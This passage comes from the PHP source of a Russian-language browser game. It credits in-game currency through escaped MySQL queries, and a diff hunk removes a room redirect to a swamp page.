mysql_query("DELETE FROM `lab_tmp` WHERE `id_user` = '".mysql_real_escape_string($user['id'])."' AND `type`='8';");
mysql_query("UPDATE `users` SET `ekr` = `ekr`+'".mysql_real_escape_string($sum[0])."' WHERE `id` = '".mysql_real_escape_string($user['id'])."';");
mysql_query("UPDATE `bank` SET `ekr` = `ekr`+'".mysql_real_escape_string($sum[0])."' WHERE `id` = '".mysql_real_escape_string($user['id'])."';");
err('Вы обналичили у Архивариуса <b>'.round($sum[0],2).'</b> ЕКР!<br>');
}
unset($data);

View File

@ -2785,11 +2785,6 @@ if ($user['room'] == 2111) {
header('Location: city.php');
die();
}
if ($user['room'] >= 2001 && $user['room'] <= 2100) {
header('Location: boloto.php');
die();
}
if ($user['room'] == 22) {
header('Location: shop.php');
die();